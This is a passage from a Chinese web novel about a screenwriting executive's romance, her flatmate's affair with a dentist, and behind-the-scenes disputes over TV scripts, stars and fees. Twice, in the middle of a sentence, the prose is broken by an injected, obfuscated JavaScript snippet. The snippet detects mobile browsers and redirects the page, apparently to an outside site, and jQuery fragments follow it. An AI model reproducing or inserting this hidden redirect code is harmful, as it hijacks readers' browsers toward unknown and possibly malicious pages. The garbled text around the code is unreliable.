初初定情,有着说不完的情话。前往阳关的路上,杨树问秦朗什么时候开始喜欢她,秦朗就从头说起。去年平安夜,丁盼兮安排了烛光晚餐,他如坐针毡,满脑子都在想杨树在就好了,就不尴尬了,好容易盼到杨树回来,却不愿陪他看电影,他还失落了一下。今年过年,他离开横店,独自去杭州西湖,走在苏堤上,又想杨树在就好了,能给他讲很多典故。 那时候心里有点懂了,也有点高兴,知道上一段感情即将真正从心底放下了。杨树听得甜蜜:“那时就喜欢,为什么不表白?” 秦朗嘿笑:“我怂,你忙。” 杨树拧他的脸,他受着,笑道:“吃不准你的态度,我不得卖力表现表现吗?难道我一表白你就同意?” 杨树就喜欢逗他:“不怕我跟别人跑了吗?” 秦朗笑她忙成鬼,哪有空跟人跑,杨树说只要心思活络,总能有空,秦朗问她是什么时候对他动心思的,她想了又想,也许在横店的时候,当她听到耳机里传来“今天我,寒夜里看雪飘过”,她的心清清楚楚跳了一下,但开窍是他说“蒲公英是虫子的摩天轮”的时候,那一刻的他充满童真,别提多可爱。 杨树过生日当天,秦朗就想表白,但杨树在收拾行李准备出差,他忍了,想找个只有两个人在一起的场合,有纪念意义的场所。杨树问:“那么有信心跟我在一起?” 秦朗揪她的辫子:“别以为我不知道,你吃生日蛋糕那天,肯定也想说点什么。” 杨树是想说,但一桌狼藉,太不美观,她想找个浪漫点的时候,只有两人在场,这是她生活里的大事,得有点仪式感。 秦朗停了车,把杨树揉到怀里亲。他本来想等十一长假约杨树旅行,但祁宁是劲敌,在横店的时候,杨树就盛赞祁宁很性感很帅,自己占了一个近水楼台,若是杨树被人抢走了,他夜里岂不是要哭湿枕头,必须先下手为强。 这人那天果然在吃醋,杨树满意得很。看完阳关,再去看莫高窟,夜里,两人飞回北京。 丁盼兮准备了大餐,杨树和秦朗在一起,她喜闻乐见,等到CPA第一阶段的考试结束,她就找人细致地发展一下恋情。 38. 第 38 章 杨树不得不面对一个事实,自己是个喜怒形于色的家伙。几乎所有人都问她是不是恋爱了,她对着镜子照了照,眼里有光,总是无缘无故地笑。 郑致找杨树请假,顾叮叮接的新戏前几天开机了,她明天进组拍摄,小叮当们要去送机。郑致找粉头帮了忙,才列入送机名单,他保证只请一上午假,加班加点把工作补回来。 自那次杨树跟郑致和张程程谈话后,两人在办公室都很乖巧,郑致通过了两个IP,交出了5篇拉片子,还给祁宁收到的剧本提了很中肯的意见,工作成绩斐然,杨树批了假。 梁卓打趣道:“老大恋爱了,心情好,才对你高抬贵手。” 张程程说:“记住哦,老大肯定下不为例。” 郑致看完顾叮叮,买回了盐酥鸡,兴兴头头请大家吃。杨树一问,他和顾叮叮隔了四五米远的距离,订的鲜花没送出去,在他看来,顾叮叮很小巧,白得像一道光,历史上掌中起舞的赵飞燕也不过如此。 刘云彤感叹粉丝对爱豆的滤镜180层厚,顾叮叮在女明星里是小家碧玉,貌不惊人,但在郑致心里,美成了赵飞燕,一见之下,沉迷更深。 梁卓很不解:“你再怎么追她,也得不到,追身边的姑娘不行吗?” 郑致说身边的姑娘不是顾叮叮,黄婕很懂得这种感受,爱而不得也是爱,像坐过山车之类的刺激游戏,失重感失控感如影随形,但是尖叫伴随着心跳,很过瘾。 黄婕不追星,杨树看看她那张经常低郁的面容,也许她正爱着生活中的某个人无力自拔,这让她痛苦,但也享受。 下班后,郑致自发加班,张程程在旁边控评。营销号爆出陈曦曾经被某个豪富之子潜规则的黑料,这是严重阻碍爱豆成为顶级流量的不利因素,张程程争分夺秒地切小号,把对陈曦的正面评价疯狂复制粘贴,顶到最上面。 杨树手上有点事没做完,扭头看到张程程在网上杀得两眼通红。张程程即将结束暑期实习,杨树本不想多嘴,但20岁的女孩,本该有更广袤的世界。 杨树以“我一个熟人”为话头,略微讲了讲祁宁的处境。现实世界处处尘埃,别说祁宁没几个粉丝,就算有不少,他想拿到正剧的男四号,依然不是粉丝们拼死打榜控评做数据就帮得上的。与其做这些无用功,当大粉的小喽啰,张程程不如学一门对自己有帮助、还能服务于爱豆的技能。 张程程说学摄影学化妆都太贵,可自己只会写点剧评,但陈曦一年到头也没两部剧播出。郑致说凭借人脉或口碑搞定资源的演员是极少数,他是真的想为顾叮叮做点事,可他什么都不会,而且顾叮叮今年在拍戏,最早明年才播出,他这一年不能闲着,只能做数据。 部门的人以找IP为主,杨树负责《战朝阳》和《玫瑰掌门》剧本的前期工作,还得培训手下,每天都很忙。秦朗的工作任务也很繁重,但不管忙到多晚,两人都会腻半天。 丁盼兮建议搬家,租个两居室,能省一间的钱,杨树觉得现在这样就好,两间房,互不打扰,她已不习惯和男人挤一张床睡觉了,睡前总会再工作一阵。 CPA综合阶段考试和英语测试在即,杨树突击辅导丁盼兮的英语,丁盼兮把握不大,急得上火,连声喊牙疼。 以前牙疼,丁盼兮吃布洛芬就能缓解,但第二天,她仍在疼,怀疑是智齿在作祟。20岁出头的时候,丁盼兮智齿就疼过,腮帮子肿起来,但在牙科看到别人拔牙,吓得退回来,打了消炎针了事。 杨树让丁盼兮这次打完消炎针就拔牙,再仔细查查口腔,丁盼兮仍有惧意,杨树搬出亡母说服她。她妈死于舌癌,就是大意了,以为是牙疼,不敢去牙科,每次一疼就吃药,等到疼得受不了,查出是舌癌,癌细胞已扩散到淋巴,治了一年多就去世了。 丁盼兮不敢再怠慢,等她的牙不疼了,就请假去看牙医。杨树一下班就回家熬粥,让她回来能吃点软烂的食物。 秦朗奉命买了下粥的小菜,可两人吃完了,丁盼兮还没回来。预约的时间是下午五点,但排在丁盼兮前面的人坏了几颗牙,补起来很麻烦,还有个人得做根管治疗,然后才是她。 家里难得是二人世界,秦朗亲着杨树,该发生的都发生。浪花涌起,又落去,两人额头碰着额头,互相傻笑,小动物一样蹭来蹭去,一会儿亲一下,一会儿又亲一下。隔着千山万水长大的两个人,一步步地走到相遇相知相爱,杨树叹息着想,人生真是一场奇妙的旅程。 丁盼兮很晚才回来,她的智齿把旁边的好牙顶坏了,牙医说她拔晚了,拔掉智齿后,给她补那颗坏牙,忙活了好半天。 丁盼兮咬着棉花球止血,杨树不让她说话,她两眼亮晶晶,挣扎着宣布她快要恋爱了。去年和漫画家分手,丁盼兮追求者不少,但没和谁恋爱,现在她的春天来了。 遵医嘱,两个小时以后才能吃饭,杨树给丁盼兮热香菇鸡粥,丁盼兮叽叽呱呱,她对牙医一见钟情。 丁盼兮挂不上公立医院牙科这几天的专家号,选了离小区最近的这家连锁牙科诊所。到了饭点儿,护士送来蛋糕和咖啡,她吃完漱口,走进诊室时,牙医正给他的工具消毒,微微弯着腰,动作专业细致,背影清俊如少年。 听到脚步声,牙医转过头来,一双眼睛里透着和善:“是11号?” 丁盼兮第一反应是这人生得俊秀,但随即她就看到那些可怕的工具,目光一顿,牙医温和地说:“别怕。” 丁盼兮战战兢兢躺下,从牙医的眉眼看,他很年轻,打麻药之前问:“平时喝酒吗?” 丁盼兮说有半个月没喝,牙医又问:“酒量怎么样?” 丁盼兮说一般,打完麻药,牙医准备材料,再问:“感觉怎么样?” 丁盼兮说半边脸木木的,还有点恶心,想吐,牙医笑了:“那你酒量不是一般,是很可以。” 丁盼兮问为什么,牙医说代谢快,立刻往外散了。治疗过程中,丁盼兮喊疼,牙医追加一针进口麻药,笑她早该说实话,这样可以一次到位,酒量好不丢人,惹人羡慕。丁盼兮心想,她爸妈都能喝一坛古酿,那才叫酒量可以。以她一瓶白酒就飘飘然的酒量,说一般还吹牛了。 打了麻药,拔牙并不疼,但丁盼兮那颗智齿是躺着朝里长的,牙医又拽又敲,折腾了好一阵,丁盼兮的头歪在他胸膛,听着他坚实的心跳,以及脑袋上方传来的温柔语声:“不疼吧,想点别的事放松一下,就快好了。” 牙医有一双长睫毛眼睛,丁盼兮浮想联翩,拔完牙,她看清牙医胸牌上的名字,三个挺好看的字:景蒲一,但念着有点拗口,她暗自喊他小景。 小景让丁盼兮把棉花球咬紧了,她有点凝血障,等麻药的劲儿过了,可能会有点疼,还不舒服的话就跟他联系,丁盼兮顺势加了微信,冲他眨眨眼睛,自觉很美地走了。 此刻和杨树说起,丁盼兮清醒过来,一个女的,像一条濒死的鱼,张着血盆大口冲着男人,一点美感都没有,想追牙医没戏。秦朗笑她想多了,妇产科的男医生难道个个打光棍,如果小景同志嫌弃病人,说明他不是好医生。 杨树屈起手指,刮刮丁盼兮的脸:“他长眼睛就能看到,这是个骚包美人。” 丁盼兮抖擞精神,牙医她追定了,杨树逗她:“万一摘了口罩是个朝天鼻,还凸嘴怎么办?” 丁盼兮头一扬:“一家有一个好看的就行。这不有我吗?” 杨树和秦朗对视一眼,这女的还真不在乎男人的长相。丁盼兮说牙医站在那里,举手投足完美符合她对专业人士的想象,何况他是真的专业,一举一动行云流水,人生第一次,她对拔牙没了恐惧。 杨树提醒道:“先搞清楚,有没有女朋友。” 当晚丁盼兮就和牙医聊上了,每天挖空心思和牙医闲聊,趁着去复查,她如愿以偿让牙医摘下口罩,看清那张清秀面容。 考完CPA首场考试,丁盼兮约牙医吃饭,他出来了。约会归来,丁盼兮对牙医十拿九稳,男人对女人有兴趣是什么眼神,她很明白。惟一失手是对秦朗,她知道秦朗对她无意,强行试了一把,俏媚眼做给瞎子看。 秦朗嘿嘿笑,以丁盼兮的样貌和心智,对付一个年方23岁的小牙医,哪有悬念。 牙医单身,读大学时谈过一段恋爱,女孩出国深造,恋情无疾而终。脱下那身白大褂,他有点害羞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081886|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但丁盼兮问什么就答什么。一顿西餐吃下来,丁盼兮连他的成长史都问出来了。 牙医出生于北京大兴,父母在他很小的时候就离婚了,父亲出轨,跟别人组建新家庭,头两年还来看看他,但年深月久,已不再来往。母亲没有再婚,辛劳把牙医拉扯到,供他上大学。 母亲住在大兴,牙医每周都回家去看望她,他劝过母亲再婚,但母亲说有子万事足,她还不到50岁,但再婚只能去伺候老头子,男人寿命不如女人长,她苦了20年,临老何苦再给自己背个包袱? 当着牙医的面,丁盼兮给予赞赏,回来跟杨树说其实女人们都是明白人,一边劝年轻女人嫁人,轮到自己就很清楚。杨树说当代社会,嫁娶的说法可以淘汰了,两情相悦,自由选择婚姻,缔结契约,称为结婚才妥当。 丁盼兮问两人何时结婚,杨树想多谈谈恋爱,秦朗说杨树没有年龄紧迫感,所以他不急,多攒点钱,努努力在南边买个房子再结婚。杨树的计划是明年初拿到年终奖,加上积蓄,去河北燕郊买小房子付首付,至于何时结婚,在哪儿结婚,那都是以后的事。 丁盼兮又和牙医增进感情去了,杨树和秦朗搂抱着看电影,谈天说地。北京到了一年当中最好的秋季,温度宜人,瓜果也香甜。 国庆前夕,《大唐银楼》在湖北襄阳唐城开机,杨树看到新闻,制片人柳艳携名编大导和一众主演全员亮相。 青芽传媒是这部剧的最大的出品方,大老板和监制李伊梦等高管都到场,男女主角在他们身旁笑颜如花。 这之前,《大唐银楼》发布组讯,杨树看到编剧只署了武德一人的名字,开机到场也只有他。剧本目前只出了14集,编剧们都得驻组写剧本,责编施严也得跟组,他半真半假抱怨杨树坑了他,从剧本大纲到这14集剧本,李伊梦折磨编剧就等于折磨他,他每天都想跳槽。 杨树和施严相识多年,不算太讨厌他,她开了两次剧本会就溜了,有点理亏,让施严就当赚点责编提成。但施严跟李伊梦等人思维不在一个频道上,就算想按李伊梦的意思来,错都不知道怎么错,错不到她的脑回路上。但都熬到开机了,施严决心跟到底,履历好看点,跳槽时才能跟人谈待遇。 在襄阳唐城拍戏的剧组不如横店多,但好几个场景都被不同剧组看上了,需要错开时间拍摄。施严的跟组生涯很不好过,几个编剧分头写第15到20集剧本,但施严时常会接到导演助理的电话,让他督促编剧提前把第30多集的某几场写出来。 《大唐银楼》在寺院的戏份假设是50多场戏,制片主任租了十天,那么不管你剧本写到哪里,编剧都得交出全剧所有寺院戏份,集中拍摄这一场景。张程程说:“怪不得有的戏烂尾了,有的戏前后矛盾。希望导演能救它。” 杨树笑而不语,女主角本人演电影出身,《大唐银楼》是她首次出演电视剧,是剧组最大的咖,以她的为人,导演对《大唐银楼》多半不求有功,但求无过。 早在8月中旬,施严就说定了一位著名导演,但没多久就被换掉了。剧本从女主角及笄写起,编剧写了有三集多戏份,成片估计是五集的量,导演想找个适龄新人出演少女时的女主角,大咖火冒三丈,逼着青芽传媒把导演炒了,换成现在这位。 《大唐银楼》被誉为大咖下凡之作,不论是出品方青芽传媒,还是制片人柳艳,都指望靠她卖剧,不好多说什么。 大咖今年37岁,却得演上好几集15岁的少女,估计后期人员得一帧一帧修图,才略微符合人物形象。但再怎么精于保养,化妆技术再怎么出神入化,37岁的人演少女仍是不妥的,丁盼兮问过:“她心里连这点数都没有吗?” 杨树一哂,大咖自负美貌,怎么肯承认自己不再年轻,而且找个真正的少女演她的少年时,岂不是踩着她向上爬,她不可能同意。 丁盼兮说大咖长了一张精明脸,为人还刻薄,跟李伊梦半斤八两,祝《大唐银楼》扑街,杨树叹气,她并不希望这成为事实。等到播出时,大咖早就拿到全部片酬了,播得不好,折损的是全体普通工作人员的心血,多少人都盼望这部戏能为自己带来下一个项目机会。 39. 第 39 章 往年国庆,杨树都会去旅行,但今年想多攒点钱买房,只能就近逛逛,丁盼兮想去天津吃海鲜,喊上牙医同行。 牙医比丁盼兮描述的更顺眼些,清秀忧郁皮肤白,面对生人有些腼腆,但丁盼兮不论说什么,他都含笑聆听。 夜晚,丁盼兮溜进杨树和秦朗的房间,问他们对牙医的印象,杨树说像没谈过恋爱似的,很无辜的少年模样。丁盼兮说她看上的正是这点,她经历了漫画家,初见牙医,只觉被一缕清风荡涤。 牙医会搞浪漫,爱撒娇,但职业原因,他挺会照顾人,丁盼兮心情不好,他总能给足安慰,很贴心。秦朗让丁盼兮享受恋爱,不用想太多,丁盼兮轻松回房间,杨树问秦朗刚才那话是什么意思,是不是从男性思维发现牙医不对劲,秦朗说暂时看不出来,但他想不出这两人平时聊什么。 杨树说这叫求同存异,但像她男朋友这样,什么都跟她聊的人的确不多,秦朗夸她嘴甜,喊她蜜罐子,小蜜罐,她喊他胖罐子,罐罐哥,两人闹作一团,累了半晚上。 第二天吃自助早餐,丁盼兮趁牙医去拿红茶,悄悄告诉两人,房间可以退一间,昨晚她和牙医睡一起了。杨树晃晃大拇指:“我们买个朗姆芝士庆祝一下。” 天津比杨树想象的漂亮,也宜居,她的买房计划从河北燕郊换到天津,在离北京比较近的生活区弄一套小的,她爸退休就来住。秦朗想跟她合买,能买大一点,但杨树认为大额消费得分开,她和陈樟分手分得很清爽,就在于没有经济纠纷。秦朗说:“我们不会分手。” 杨树说:“肯定不分手。” 丁盼兮和牙医正式谈起恋爱,牙科诊所离小区近,牙医有时会来住。他很爱干净,还愿意陪丁盼兮看综艺节目,虽然杨树看得出来,他压根不感兴趣。 施严又找杨树吐槽,他在《大唐银楼》跟组以来,隔三差五就崩溃一次,今天份的崩溃又是因为女主角大咖。她嫌剧本写得不好,喊来她工作室的两个责编进组修改她的戏份,剧组每天飞页乱飞。 飞页是指拍摄过程中,一边拍摄一边现写的剧本,基本是拍摄前一天晚上或者当天发放到演员手上。大咖不仅让责编改自己的台词,连对戏的演员台词也顺手改了,给出的理由永远是“我是为咱们戏负责”。 每天放工很晚,对戏的演员根本来不及熟悉新的,对大咖满腹牢骚,还不能公开骂,不然就会被制片人柳艳和监制李伊梦轮番找去谈话。 更惨的是编剧们,赶稿本就疲于奔命,还得根据责编们改的东西调整,但前后逻辑捋不过来,急得找责编施严哭。施严能怎么办,只能找柳艳哭,柳艳让他和编剧们克服一下,这戏搞成这样,只能靠大咖卖剧了,开罪不起。 编剧们被逼得想辞职,剩下的稿费不拿也罢,毕竟连个编剧署名都没有,再耗下去损害心力,不合算。 施严好说歹说才把编剧们按住,大咖不知从哪里听说编剧想撂挑子,把他们喊去,骂他们写得差,脾气还大,如果他们写得好,她何至于喊别人来改剧本:“我那两个手下,第一次写剧本,都比你们写得好多了。你们都混到只能给人当枪手的地步了,还敢就这工作态度?这么大的剧都不珍惜,在这个圈子一辈子都混不出来。” 编剧们气哭了,施严悄悄一问,大咖对那两个责编说的是:“你看看你们,写得这么差,难怪只能当责编。我给你们当编剧的机会,你们再不写快点,等着走人吧!” 人类慕强者多,大咖那些黑历史少有人提起,就算提起,也会有人自发为她说话:“演员嘛,业务能力强就行。” 施严签了保密协议,剧组发生的更多事都不能透露,但他跟杨树感叹,美貌和人品一丁点儿关系都没有,这人就是个坏人,在剧组,她把所有人的自尊都践踏到泥里去。 大咖这样的人,杨树见过不止一个。明堂影业主投的谍战剧,请了一个十几年没再拍过电视剧的大咖客串,他也把工作人员往死里摧残,尽管他对外的人设是一心向善,热心公益的教徒。 《不惑之年》前5集剧本出了,朱青和詹忆挑了一些毛病,编剧方雯依言修改,连同剧本大纲、人物小传和分集梗概,一起发给夏停。 夏停来北京出差,召集众人开碰头会议,朱青喊上了杨树。夏停仍是直言不讳的风格,她认为剧本写得不够好,原著作者叶罗在故事大纲里体现的生活感和轻喜感,是夏停最为看重的,但落实到剧本里,有所减弱。 杨树洗耳恭听,夏停批评编剧过于追求强情节,快节奏,时有失真的地方。强情节也不是不行,但人物关系和矛盾顶不到那里去,就强行制造矛盾冲突包袱爆点,把人物写塌了。 方雯也斟酌过,但担心没有强戏剧性支撑,会失去吸引力。夏停说《不惑之年》是轻喜生活话题剧,得走在生活和日常逻辑上,戏剧性人物关系不可盖过日常生活逻辑,她让方雯尽可大胆些,去掉一些刻意的套路,不妨安排一点娓娓道来的段落,中年人嘛,对生活都是有感悟的,闲笔才是沉浸生活的滋味,别担心观众,写好了他们是能共鸣的。 夏停不追求极致,方雯很震惊,她以前参与的所有署名或没署名的剧,不论题材,不论类型,都会收到资方和平台的相似意见:情节太平淡了,节奏也慢,不抓人哦,没冲突是不行的,剧情没张力…… 至于什么叫张力,如何抓人,对方也说不上来,总之,他们比公安部A级通缉令上的犯罪分子都难抓。便是在这一次次批评意见压下来之后,方雯被驯化了,自己琢磨出一套路子,简称耳光响亮,刀锋雪亮,主角时常面目狰狞声嘶力竭,干尽蠢事。 遗憾的是,这样的写法,都顺利通过了,有些导演甚至要求每集必须热开场,怎么鸡飞狗跳怎么来,而且每个角色都能言会道擅长吵架,一说话就能一口气说一大趴,浑然不顾从人设出发,角色会不会这么干。 有的影视公司会找一堆编剧比稿,惟有在一集剧里堆满密集情节和冲突,才被视为精彩,在比稿中获胜,从而得到编剧机会。方雯参与过比稿,写惯了冲突戏,但夏停说在《不惑之年》里,戏做得太紧了,缺乏呼吸感,她要求方雯让观众先喜欢人物。 观众只有对人物感兴趣,才会关心她的处境。夏停建议方雯顺着人物性格去写情节,杨树在笔记簿上写下一句话:“剧情为人物服务,用人物去推情节,而不是反之。” 夏停另一条意见仍是关于人物,她说方雯下意识在塑造一个完人,但正常人不会永远大公无私,女主角有些自私自利的想法是能理解的,不需要她完美。 杨树明白方雯的顾虑,方雯上一部年代剧,连反派都被审查意见批评太负面,她草木皆兵,哪敢放开手脚去写主角?夏停让方雯放心写,并不是完美女性才值得歌颂,也别在乎所谓三观不正,有小缺点小短板的凡人才可亲,小瑕疵不影响女主角的大爱。 夏停对戏剧的看法颠覆了杨树从影视书籍里学到的那些:冲突冲突冲突。但她细想起来,很多经典影视剧的确没写多么曲折离奇的情节。方雯让众人给她半个月时间,她会改出新的前5集,夏停夸她编织能力、细节能力和观察能力都好,让她牢记一点,《不惑之年》的内在很温暖,节奏务必舒缓一点,大海不是时刻翻滚,平静也蕴含力量。 方雯连连点头,夏停终于说:“这次改完,咱们就签了。” 这意味着《不惑之年》即将成为卫视的定制剧,詹忆要请方雯吃饭,但方雯急着回去改剧本,意见看似不多,但改动量不小。朱青和杨树找了借口开溜,没跟詹忆吃饭,又去日本料理店喝小酒。 《不惑之年》的责编是章嘉敏,她远程督战,方雯很靠谱,章嘉敏没太操心。方雯根据夏停的意见,先修改分集梗概,对整部剧的思路有了质的飞跃,很顺畅地交出了新版前5集剧本。 新剧本不再走强情节和强逻辑路线,但把极致情境下的人性和对社会的洞察刻画到位,杨树读来惊艳扑面。 方雯上次写剧本的时候,职业病冒出来,经常会认为这里写过了,那里可能拍不了。在新版剧本里,她改掉了这个毛病,该是什么就是什么,不去刻意回避,朱青让她调整了几处小细节,改完后发给夏停,得到盛赞。 制片人姚澈召开《不惑之年》筹备会,杨树去旁听。姚澈上个月就去谈导演了,几个导演都看好项目。前天前5集剧本一出,姚澈发给了最有意向的刘导,刘导给出了高度评价,和明堂影业口头谈定合作。 《不惑之年》是卫视定制剧,投资大头还得明堂影业想办法,但拉投资不太顺利。大IP乘风而来,《不惑之年》却是在写市井人生,姚澈接触了十来个投资人,都更愿意投资言情剧,最好是青春校园和都市题材,品牌赞助多,以小博大的概率大。 张瑞江抛出他在青芽图书公司的经验,把项目PPT制作精美点丢出去,首先列举市面上同类题材的成功范例,让投资人看到保险系数,再列举剧本和市场流行元素的共同点,让他们一目了然看到剧本优点。 姚澈坚决不跟风,早些年,情景喜剧播得好,生活剧也播得好,这批观众不可能全都消失了,《不惑之年》一定有它的目标观众。 姚澈是公司股东之一,做好了赔钱的最坏打算,但钱一诺坚信不会赔,最多是收支持平。会议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081887|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了没多久,姚澈接到一位投资人的电话,她对剧本赞不绝口,愿意投资一千五百万,但有个前提,得请实力派演员,不然演不好女主角。 观众能看到什么,取决于一小撮人的口味。但你真写得好,他们不见得不识货。有了这一千五百万,再加上公司自己和卫视方面的资金作为基本盘,已能往下走了。众人谈起了演员,其实不用投资人特别交待,生活剧必然得用演技过硬的演员,否则不能保障表演成色和生活质感。 发行副总涂芊本来觉得40岁的武汉嫂子没人看,但前5集剧本一出,她也夸写得好,女主角很好玩,她一口气看完了。 张瑞江说女主角太泼辣了,不讨喜,一般男人可不敢娶回家当老婆,杨树鄙视地看他,看到女人就评估适不适合当女朋友当太太,也不知谁给他的脸。 姚澈说:“有的女人还不想结婚生子呢,张总怎么看?” 张瑞江说老了无人陪伴,必然后悔,一桌女人便都笑了。詹忆说现实主义不在乎讨不讨喜,在乎真,给人物形象加了柔光就失真了,张瑞江坚持认为找演员可能很麻烦,女演员都想漂漂亮亮,谁想演粗鲁女人? 市场转轨,平台方刮起青春风潮,如今一部戏能不能发出去,很大程度得看能否请到一线明星,质量好坏反而成了其次的事。所幸有夏停所在的卫视兜底,主演人选不用找最当红的。 然而40岁年龄段的当红明星基本都是电影演员,很少会来演电视剧,但在电视剧圈里找女主角,同时满足演技好、大众知名度高、平台也认这三点,数来数去就寥寥数人。 杨树提了几人的名字,但姚澈认为她们辗转于情感剧,表演很程式化,演不了保洁员。方雯提到另一人,钱一诺指出她营销太多了,都是虚名,参演的剧不叫好也不叫座,不扛剧,团队也难伺候,能不合作就不合作。 詹忆笑说《不惑之年》还略好一点,它的前身《三十难立》只会更麻烦,能演出刺痛感的30岁左右的青衣很稀缺。朱青提了一人,众人都认为合适,但该演员是《瓷缘》女二号,杨树问过施严,明年《瓷缘》随时开机,该演员随时去演,一整年的档期都留给它。姚澈把她列为备选,让助理在白板上划拉了另外几人的名字,一一去谈。 联系了一圈,姚澈拟邀名单里的一人明年一整年的档期都排满了,另一人才拍完一部生活剧,想拍点别的。其余几人都对剧本显出了极大兴趣,以华遥和安歌综合得分最高。 华遥是老牌美人,年轻时演过数部古装剧,都红极一时,但角色很单一,不是艳妃,就是武林第一美人。近几年,华遥演不上女主角了,角色是风情万种的熟龄女性,秦朗说武侠小说里“中年美妇”之类的人物,约莫就是华遥的模样。 安歌气质硬朗得多,劲劲儿的,年轻时很红,如今很多公司做项目,都奔着年轻观众使劲,很少写符合她年龄的剧本,她几年没再演戏,转而做幕后,投了几部小成本文艺电影。 安歌和华遥都算有演技,平台也接受。男人们都更喜欢华遥,认为她美貌,有女人味,但理性看待,华遥太美了点,不太像保洁员。 华遥不介意只化淡妆,但姚澈跟她的经纪人深谈之后,华遥只能给出明年初的档期,并且只有62天。但《不惑之年》围绕女主角展开,62天拍不出40集故事,华遥本人愿意多给出5天,更多的给不了,她前后接了几部古装言情剧,她拍古装更能凸显美貌。 40岁左右演技好的青衣很稀缺,姚澈去找第二人选安歌。安歌夸女主角无畏,麻利又爽朗,生动得跃然纸上,她笑着说:“舍我其谁?” 在姚澈的游说下,其他几家投资方也进来了,《不惑之年》总投资拟定5000万,算中等成本,然而安歌的片酬喊到了3500万。经协商,安歌片酬实价为2800万,其中1800万为片酬,另外1000万作为投资。 一线卫视和著名作家双重保障,安歌对《不惑之年》信心十足,相信投资带来的回报高于这部戏的片酬。她惟一担心的是编剧方雯。 方雯只有两部播出作品,一部收视率和口碑双失,一部收视率高,但网上热度不行,口碑也一般,安歌要求换编剧,或是找个大编剧带着方雯写,姚澈拒绝了。 国内像明堂影业这种大公司,一般只和大编剧及名编剧合作,方雯却毫无名气,安歌以为她这一要求理所应当,但姚澈对方雯信任有加,她只得让了一步,跟姚澈约定剧本出了全稿再开机,多留点磨剧本的时间。她的朋友也都接过前5集成色很好的剧本,但签约进组后,后面烂尾了,只能咬着牙演完。她数年没拍剧,不得不谨慎。 40. 第 40 章 丁盼兮和秦朗都对安歌的片酬惊叹不已,三个月,就能挣到普通人几辈子都挣不到的钱。然而安歌的片酬在明星里只算中等,去年开机的一部玄幻剧,主演是流量明星,片酬4800万,这还是友情价,今年,他同等级别的明星都达到了6000万以上。 《不惑之年》是卫视定制剧,不愁发行,占了天机,如果是偶像剧,用流量明星才方便卖到好平台。明堂影业年初参投的一部言情剧,用了当红一线,片酬是5800万,他如今的身价超过了6500万。 丁盼兮惊叹他一人就拿走大头,全剧组工作人员都不如他赚的零头,可他除了一张脸,什么都没有。但用市场价值衡量,很难说不公平,40集的剧,一线流量出演,片方可以卖到1.6亿,换个阵容,可能只能卖个零头,中间相差1个亿,所以哪怕流量再贵,片方还愿意用他,这是纯市场行为。 秦朗说:“懂了,归根结底是互联网烧钱。” 喜欢在视频网站看剧的多是年轻人,年轻人追捧流量明星,他们的片酬被炒得越来越高。在这个市场闭环中,视频网站是源头,也是冤大头,目前一直处在烧钱状态。丁盼兮分析视频网站的财报一定亏损得惊人,但这就跟买期货同理,烧钱是买未来收益。 公司主投的言情剧开机在即,目前是前期计划阶段,需要确定宣传物料,宣传框架和预算计划三大块,文书的工作比较多,杨树派郑致去宣传规划组打下手。因为有陈曦参演,早已回校上课的张程程也自发参与进来。 甘棠结束采风,带着两个助手开始写《战朝阳》剧本大纲,责编刘云彤和他们对接。刘云彤是第一次当责编,杨树不时跟她开个小会,带带她。 黄婕和梁卓仍以选IP和拉片子为主,杨树刚把部门的事都理顺,章嘉敏求援了,《不惑之年》遇到了阻力。编剧方雯被安歌折磨惨了,章嘉敏屡加安抚,但方雯仍然请求退出项目。 杨树和朱青约出方雯,一见面,两人都吃了一惊。公司签下安歌才一个多月,方雯就憔悴了,她胖了不少,精神萎靡,每天都睡不着,安眠药对她失去效果,她喝上了酒。 前段时间,方雯交出的6到10集剧本被明堂影业认可后,安歌助理联系她:“我们认为还有些问题,请来我们工作室开会,你自己来就行。” 方雯向章嘉敏和朱青报备,去安歌工作室详谈,到了才知道,安歌不信任别人。策划人朱青31岁,单身,安歌说她不可能对40岁家庭妇女的生活有洞见,责编章嘉敏33岁,已婚,但远在甘肃小地方,哪懂武汉女人? 如果写个刑侦剧,是不是还要求编剧有杀人经历?方雯忍住怒气,正想分辩,安歌打断她:“我这人快人快语,不喜欢讲花头。既然我是女主,你们得以我的意见为重。” 安歌是主演加投资人,方雯不便发作,但越听越离谱。安歌说女主角的小心眼太多,得改成《渴望》里刘慧芳那样的。结局更得改,不是大团圆过不了审,亲子关系必须和解,而且广电总局喜欢复婚情节,女主角和她前夫得重修旧好。 方雯说广电总局没有这样明文规定过,安歌说这种事当然不会落实到白纸黑字上,但做剧的人不学会揣摩上意就是死路一条,她质问方雯:“搞创作哪能不关注外界发生的事?你连这都想不到,40岁女人怎么把握得了?何况还是个滑头。” 方雯说中年女滑头的人设是卫视定的,但安歌说卫视没跟明堂影业签死,还得看到样片再议,万一他们不要,想卖给别家,别家肯定接受不了这样的人设,可就砸手上了。 人设一改,她在事件里所有相应的反应都得改,基本是重写。方雯希望由安歌牵头,喊上制片人、导演和策划人一同开会商定,安歌笑道:“我看了你的履历,你才两部播出作品,还播得不行。你32岁了,在编剧圈混了这多年还没混出来,你有没有想过,其实你可能没有你自己以为的那么有才华,真有才华一定能出头。我希望你能谦虚点,好好把握这次机会。” 